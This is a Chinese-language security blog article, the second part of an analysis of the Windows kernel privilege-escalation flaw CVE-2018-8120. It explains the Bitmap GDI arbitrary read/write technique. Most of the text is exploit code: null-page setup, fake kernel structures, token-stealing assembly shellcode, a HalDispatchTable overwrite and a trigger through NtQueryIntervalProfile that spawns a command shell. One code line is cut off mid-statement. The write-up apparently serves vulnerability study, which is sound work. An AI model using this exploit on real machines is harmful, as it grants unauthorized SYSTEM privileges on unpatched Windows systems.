Windows内核提权漏洞CVE-2018-8120分析 - 下

阅读量    51854 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前文再续,书接上一回《Windows内核提权漏洞CVE-2018-8120的分析·上》

 

一、Bitmap GDI技术

BitmapGDI技术,是指通过Bitmap对象信息泄露漏洞,衍生出的一种内核内存污染技术,据了解,Bitmap对象信息漏洞最早由国外安全研究员 Cesar Cerrudo 于2004年报告至微软,而真正公布的时间是在2006年的11月,至到2015年经安全研究人员于社区分享发布,因可以用作将内核任意写漏洞转换为内核任意读写漏洞而渐入眼帘。

(一)原理

用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。

因此,如果通过内核写漏洞修改指针变量pvScan0,我们就可以在用户态下通过Set\GetBitmaps方法,对内核空间进行读取和写入,最终将内核任意写漏洞,转化为内核任意读写漏洞。

(二)指针变量pvScan0在哪?

当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:

typedef struct _GDICELL
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;

该对象的pKernelAddress泄露了Bitmap对象的内核地址,继续来看pKernelAddress指向的数据结构:

typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}


typedef struct _BASEOBJECT {
    HANDLE    hHmgr; 0x04
    PVOID     pEntry; 0x08
    LONG      cExclusiveLock; 0x0d
    PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;


typedef struct _SURFOBJ {
    DHSURF dhsurf;       0x04
    HSURF  hsurf;         0x08
    DHPDEV dhpdev;        0x09
    HDEV   hdev;          0x0a
    SIZEL  sizlBitmap;    0x0e
    ULONG  cjBits;        0x12
    PVOID  pvBits;        0x16
    PVOID  pvScan0;       0x20
    LONG   lDelta;        0x24
    ULONG  iUniq;        0x28
    ULONG  iBitmapFormat; 0x2c
    USHORT iType;        0x2e
    USHORT fjBitmap;      0x30
} SURFOBJ

于是,我们可以了解到,在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。

(三)如何利用漏洞来更改pvScan0指针?

首先,创建2个Bitmap对象,姑且称其分别为Work、Manager。第一张图,是未修改前的初始状态。

下图,是使用内核任意写漏洞,将Manager的pvScan0指针改写过后的状态,逻辑可能需要反复理解。

将WorkPvScan0在pKernelAddress中的偏移量写入到Manager的PvScan0,至此Manager的PvScan0指针更改为指向WorkPvScan0的指针。通过对ManagerBitmap对象做SetBitmaps操作,可以设置Work的PvScan0指针的值,进而指向任意地址。

随后再通过对WokerBitmap对象做Set\GetBitmaps操作,完成内核读写。

 

二、利用NtUserSetImeInfoEx漏洞

(一)回顾漏洞代码逻辑

再次回顾,导致任意写漏洞的代码逻辑路径。

GetProcessWindowStation得到tagWindowStation对象,其结构为:
kd> dt tagwindowstation
win32k!tagWINDOWSTATION
   +0x000 dwSessionId     : Uint4B
   +0x004 rpwinstaNext    : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList      : Ptr32 tagDESKTOP
   +0x00c pTerm           : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags     : Uint4B
   +0x014 spklList        : Ptr32 tagKL
   +0x018 ptiClipLock     : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen   : Ptr32 tagWND
   +0x024 spwndClipViewer : Ptr32 tagWND
   +0x028 spwndClipOwner  : Ptr32 tagWND
   +0x02c pClipBase       : Ptr32 tagCLIP
   +0x030 cNumClipFormats : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession  : _LUID
   +0x04c luidUser        : _LUID
   +0x054 psidUser        : Ptr32 Void

因此,a1为tagWindowStation对象,V3为tagWindowStation->spklList,spklList对象的结构为:
kd> dt win32k!tagKL
   +0x000 head            : _HEAD
   +0x008 pklNext         : Ptr32 tagKL
   +0x00c pklPrev         : Ptr32 tagKL
   +0x010 dwKL_Flags      : Uint4B
   +0x014 hkl             : Ptr32 HKL__
   +0x018 spkf            : Ptr32 tagKBDFILE
   +0x01c spkfPrimary     : Ptr32 tagKBDFILE
   +0x020 dwFontSigs      : Uint4B
   +0x024 iBaseCharset    : Uint4B
   +0x028 CodePage        : Uint2B
   +0x02a wchDiacritic    : Wchar
   +0x02c piiex           : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl         : Uint4B
   +0x034 pspkfExtra      : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType   : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID          : Uint4B

v3[5]为tagWindowStation->spklList->hkl,最后v3[11]为tagWindowStation->spklList->piiex。代码逻辑可以转化为:

v3 = tagWindowStation->spklList;
while ( spklList->hkl != a2[0]){
....
}
v4 = spklList->piiex;
if( !v4[18]){
qmemcpy(v4,a2,348u);
}

(二)布局零页构造入参

假设我们传入NtUserSetImeInfoEx的参数名称为buf,那么我们需令tagwindowstation->spklList->hkl等于 buf[0],令tagwindowstation->spklList->piiex不为空,令tagwindowstation->spklList->piiex->fLoadFlag不为空,就可以将buf中的数据拷贝到v4指向的地址中,此处v4为tagwindowstation->spklList->piiex。由于tagwindowstation->spklList默认为NULL,等同于从0x00000000(零地址)读起,那么我们首先创建零页。

//创建零页
// 定义NtAllocateVirtualMemory函数结构
typedef NTSTATUS(WINAPI* MyNtAllocate)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

void allocateZero(){
PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址
DWORD size = 0x1000; // 分配页面大小为4KB
MyNtAllocate fun;
*(FARPROC*)&fun = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
if (fun == NULL)
{
printf("[-] fail to GetAddress");
exit(-1);
}
fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间
printf("success to allocate Zero Page!\n");
}

分别创建Work、Manager的bitmap对象,并计算得到偏移量,为了更改Manager的pvScan0为Worker的pvScan0偏移量,就要使v4为Manager的pvScan偏移量,a2[0]为Wokerpvscan0对象偏移量,于是,要在零页构造要被读取的数据(留意这里pvScan0跟pvScan0的偏移量不一样,pvScan0的偏移量保存的是pvScan0指针的地址,而pvScan0指针,保存的是另一数据的地址)

unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);


DWORD getpeb()
{
//读取fs寄存器偏移量0x30,即为PEB
DWORD p = (DWORD)__readfsdword(0x30);
return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
PVOID getpvscan0(HANDLE h)
{
if (!gtable)
gtable = getgdi();
// Bitmap句柄的末尾四字节为GDICELL在GdiShareHandleTable中的索引,通过LOWROD来取
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
GDICELL* c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x30;
}


//得到偏移量
PVOID managerpv= getpvscan0(gManger);
PVOID workpv = getpvscan0(gWorker);


//使tagwindowstation->spklList->hkl(内存偏移为0x00000014) = workpvscan0偏移量
*(DWORD*)(0x14) = (DWORD)(workpv);
//使tagwindowstation->spklList->piiex(内存偏移为0x0000002c)= managerpvscan0偏移量
*(DWORD*)(0x2C) = (DWORD)(managerpv);


// 由于拷贝384字节,设置buf为大于384字节即可,并将buf每个字节设置0,避免读取空
//为跳过While循环,我们令DWORD Buf[0] = workpvscan0偏移量,由于类型为DWORD,因此每次读取4字节。


char buf[0x200];
RtlSecureZeroMemory(&buf, 0x200);


PVOID *p = (PVOID*)&buf;
p[0] = (PVOID)wo

由于我们直接覆盖pvscan0后的数据,因此要对pvscan0后的其余成员变量进行填充修复,避免影响Get\SetBitmaps函数的使用,正常情况下,成员变量的值为下图中红框处,我们填充进buf当中。

p[0] 为WorkBitmap的pvscan0偏移,图中为83f7f3fc
p[1] = 0x180;
p[2] = 0x2110;
p[3] = 6;
p[4] = 0x10000;
// p[5] = 0x00000000,因为先前buf已经分配0,因此不用赋值
p[6] = 0x4800200;




//调用存在漏洞的NtUserSetImeInfoEx
HWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hStation);
NtUserSetImeInfoEx((PVOID)&buf)

此时,再进行调试,就可以发现,ManagerPvscan0已经指向了“WorkPvscan0的偏移量”了,Windbg调试命令如下:

kd> !process 0 0 project3.exe
PROCESS 866c0858 SessionId: 1 Cid: 0eb0   Peb: 7ffdc000 ParentCid: 0c08
    DirBase: 3f3373c0 ObjectTable: 88257c78 HandleCount: 19.
Image: Project3.exe


kd> .process /r /p 866c0858


dt _peb @$peb
+0x094 GdiSharedHandleTable : 0x00480000 Void


kd> dd 0x00480000 + (0x89050cd3 & 0xffff) * 0x10
0048cd30 fe674608 00000eb0 40058905 00000000


kd> dd fe674608 + 0x30
fe674638 fdfe0ad0 00000180 00002111 00000

 

至此,通过对ManagerBitmap句柄做SetBitmaps操作,即可更改WorkPvscan0指针的值,可指向内核任意地址。

(三)替换系统函数执行ShellCode实现提权原理

这里的ShellCode采用替换进程的令牌Toekn的方法,将当前用户态进程的令牌Token替换为高权限进程的Token,进而实现权限提升。

__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure of the current thread
mov eax, [eax + 0x50] // find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the linked list of process activities
sub eax, 0xb8  // Linked list traversal
cmp[eax + 0xb4], edx  // Determine whether it is SYSTEM according to PID
jnz find_sys_pid

// Replace Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
xor eax, eax
ret

}
}

单纯在用户态定义shellcode函数并进行调用,是无法获取高权限的进程令牌Token的,因此需要在内核态中,对shellcode函数进行调用,方可实现令牌Token替换的目的。

由于,我们具备了在内核态中的读写能力,我们可以找到在用户态中可以调用的,并且会产生模式切换的系统API函数,通过内核写,将该函数的入口地址修改为shellcode函数的入口地址,当我们在用户态调用该函数时,会进行模式切换,切换为内核模式并以内核权限调用我们的shellcode函数,进而实现提权。

我们可以在SSDT(SystemService Dispatch Table)、HalDispatchTable 两个表中去寻找可调用的内核API函数。在选用内核 API 函数的时候,要尽可能选择较少调用的函数,避免在修改了函数地址同时时,有其他进程进行调用,导致内存访问出错或程序崩溃。参考链接:https://blog.csdn.net/qq_43312649/article/details/105295017

这里选用的内核API函数为NtQueryIntervalProfile,NtQueryIntervalProfile函数是在ntdll.dll中导出的未公开的系统调用,可以直接在用户态下进行调用,因此我们可以通过Bitmap GDI技术,对该函数的入口地址进行替换与恢复。NtQueryIntervalProfile()是Ntdll.dll中导出的未公开的系统调用,它会调用由内核可执行程序ntosknl.exe导出的KeQueryIntervalProfile函数。

而KeQueryIntervalProfile函数又会进一步调用HalDispatchTable表加0x4偏移量的函数地址

因此,我们可以将ShellCode的入口地址,通过内核写漏洞,写入到HalDispatchTable + 0x4中,当我们调用NtQueryIntervalProfile并产生模式切换的时候,就会在内核态中调用我们的ShellCode函数,进而完成提权。

(四)寻找HalDispatchTable地址

对于Windows系统的内核态而言,可划分为以下:

(1)硬件抽象层(HardwareAbstraction Layer -> Hal)

(2)内核(Kernel)

(3)运行体(Executive)

(4)窗体图形子系统(WindowsGraphicsSubsystem)

而HalDispatch正是与硬件抽象层有关,因此我们需从系统加载的内核程序中进行导出,此处以加载内核程序ntkrnlpa.exe为例,通过EnumDeviceDrivers函数,获取在内核空间中ntkrnlpa.exe运行时的基址,。

#include<Psapi.h>
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
   CHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

然后在用户态,加载ntkrnlpa.exe程序,并搜索HalDispatchTable表的导出地址,并用用户态中的HalDispatchTable导出地址减去用户态中加载ntkrnlpa.exe的模块基址,就可以获得HalDispatchTable表相对于模块基址的偏移量,最后由内核空间中ntkrnlpa.exe基址加上偏移量,得到HalDispatchTable在内核中的地址,并加上0x4偏移量进行返回。

DWORD32 GetHalOffset_4()
{
    // 获取ntkrnlpa.exe运行时基址
    PVOID pNtkrnlpaBase = NtkrnlpaBase();
    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    // 获取用户态加载ntkrnlpa.exe的地址
    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

    // 获取用户态中HalDispatchTable的地址
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

    // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量
    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
    return (DWORD32)hal_4;
}

(五)触发ShellCode

// 定义函数原型
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
);
PVOID pOrg = 0;
    DWORD haladdr = GetHalOffset_4();
    PVOID oaddr = (PVOID)haladdr;
    PVOID sc = &ShellCode;


//替换NtQueryIntervalProfile的地址为shellcode的地址
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //Use manager to set the modifiable address of worker as hal function
    printf("[+]The target address to be overwritten 0x%x\n", oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//Get the address that can be modified
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//Set the address to shellcode
    printf("[+] Overwriting is complete, ready to execute Shellcode");



    // 调用NtQueryIntervalProfile,触发shellcode函数
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    //恢复NtQueryIntervalProfile函数地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
system("cmd");

 

三、踩坑

(一)编译时,留意Visual Studio的MFC以及字符集设置,如果采用静态,则调用函数时,要留意末端是W(Unicode字符集)还是A(多字节字符集),所选用的函数必须与字符集相匹配,否则会出现正常编译运行,但没有效果的问题。

(二)计算偏移时,要留意内存对齐问题

 

四、参考链接

(一)https://www.freebuf.com/vuls/180227.html

(二)https://docs.microsoft.com/en-us/previous-versions/bb665982(v=msdn.10)

(三)http://t.zoukankan.com/exclm-p-4107662.html

(四)https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf

(五)https://www.programmersought.com/article/84165899589/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多